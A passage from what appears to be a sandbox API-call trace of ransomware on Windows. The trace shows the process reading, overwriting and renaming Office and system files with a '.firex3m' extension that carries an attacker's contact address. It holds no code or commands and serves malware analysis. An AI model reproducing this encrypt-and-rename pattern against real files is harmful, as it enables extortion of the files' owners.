lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4cdb54, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x3bbfd20, dwReserved1=0x756afb0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0257.280] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0257.280] Sleep (dwMilliseconds=0x1) [0261.204] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG") returned 1 [0261.204] GetProcessHeap () returned 0x630000 [0261.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0261.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0261.223] CloseHandle (hObject=0x430) returned 1 [0261.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0261.807] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0261.807] GetProcessHeap () returned 0x630000 [0261.807] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4fa1) returned 0x74a1158 [0261.807] GetProcessHeap () returned 0x630000 [0261.807] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4fa1) returned 0x6f05388 [0261.808] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.808] ReadFile (in: hFile=0x430, lpBuffer=0x74a1158, nNumberOfBytesToRead=0x4f80, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a1158*, lpNumberOfBytesRead=0x3bbff0c*=0x4f80, lpOverlapped=0x0) returned 1 [0264.152] GetProcessHeap () returned 0x630000 [0264.152] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0264.152] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.152] WriteFile (in: hFile=0x430, lpBuffer=0x6f05388*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesWritten=0x3bbff0c*=0x4f80, lpOverlapped=0x0) returned 1 [0264.153] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.153] WriteFile (in: hFile=0x430, lpBuffer=0x6f0a307*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0a307*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.153] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.153] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.153] CloseHandle (hObject=0x430) returned 1 [0264.153] GetProcessHeap () returned 0x630000 [0264.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0265.588] GetProcessHeap () returned 0x630000 [0265.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a1158 | out: hHeap=0x630000) returned 1 [0265.588] GetProcessHeap () returned 0x630000 [0265.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0265.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63643daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4fb7, dwReserved0=0xc947496, dwReserved1=0x74a1150, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d53c0 [0265.588] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.588] Sleep (dwMilliseconds=0x1) [0265.598] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE", len=0x65 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE") returned 1 [0265.598] GetProcessHeap () returned 0x630000 [0265.599] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd4) returned 0x6fe3bb0 [0265.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msosqm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0265.603] CloseHandle (hObject=0x6d8) returned 1 [0265.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msosqm.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msosqm.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d458, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOSQM~1.FIR")) returned 0x6d5200 [0265.661] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0265.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msosqm.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0265.662] GetProcessHeap () returned 0x630000 [0265.662] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0265.662] GetProcessHeap () returned 0x630000 [0265.662] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7045170 [0265.662] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.662] ReadFile (in: hFile=0x6d8, lpBuffer=0x7039d40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0271.965] GetProcessHeap () returned 0x630000 [0271.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0271.965] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.674] WriteFile (in: hFile=0x6d8, lpBuffer=0x7045170*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.676] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.676] WriteFile (in: hFile=0x6d8, lpBuffer=0x705056f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x705056f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.677] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.677] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.678] CloseHandle (hObject=0x6d8) returned 1 [0273.678] GetProcessHeap () returned 0x630000 [0273.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0273.678] GetProcessHeap () returned 0x630000 [0273.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0273.681] GetProcessHeap () returned 0x630000 [0273.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0273.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6913a5b2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d47c, dwReserved0=0xc947496, dwReserved1=0x7039d38, cFileName="MSOSQM.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOSQM~1.FIR")) returned 0x6d4e40 [0273.682] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0273.682] Sleep (dwMilliseconds=0x1) [0273.693] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-white.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-white.png") returned 1 [0273.693] GetProcessHeap () returned 0x630000 [0273.693] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da8) returned 0x6fe3bb0 [0273.693] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.694] Sleep (dwMilliseconds=0x1) [0273.716] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-black.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-black.png") returned 1 [0273.716] GetProcessHeap () returned 0x630000 [0273.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da4) returned 0x6fe3bb0 [0273.716] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.719] Sleep (dwMilliseconds=0x1) [0273.723] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-white.png") returned 1 [0273.724] GetProcessHeap () returned 0x630000 [0273.724] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da0) returned 0x6fe3bb0 [0273.724] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.725] Sleep (dwMilliseconds=0x1) [0273.739] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-black.png") returned 1 [0273.739] GetProcessHeap () returned 0x630000 [0273.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d9c) returned 0x6fe3bb0 [0273.739] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.741] Sleep (dwMilliseconds=0x1) [0273.755] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated.png", len=0x88 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated.png") returned 1 [0273.755] GetProcessHeap () returned 0x630000 [0273.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d98) returned 0x6fe3bb0 [0273.755] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.756] Sleep (dwMilliseconds=0x1) [0273.770] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40.png", len=0x77 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40.png") returned 1 [0273.771] GetProcessHeap () returned 0x630000 [0273.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d94) returned 0x6fe3bb0 [0273.771] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.772] Sleep (dwMilliseconds=0x1) [0273.787] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-white.png") returned 1 [0273.787] GetProcessHeap () returned 0x630000 [0273.787] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d88) returned 0x6fe3bb0 [0273.787] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.788] Sleep (dwMilliseconds=0x1) [0273.804] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated.png", len=0x88 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated.png") returned 1 [0273.804] GetProcessHeap () returned 0x630000 [0273.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d80) returned 0x6fe3bb0 [0273.804] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.805] Sleep (dwMilliseconds=0x1) [0273.817] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36.png", len=0x77 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36.png") returned 1 [0273.817] GetProcessHeap () returned 0x630000 [0273.817] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d7c) returned 0x6fe3bb0 [0273.817] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.819] Sleep (dwMilliseconds=0x1) [0273.835] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-white.png") returned 1 [0273.835] GetProcessHeap () returned 0x630000 [0273.835] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d70) returned 0x6fe3bb0 [0273.835] CreateFileW (lpFileName="C:\\Program 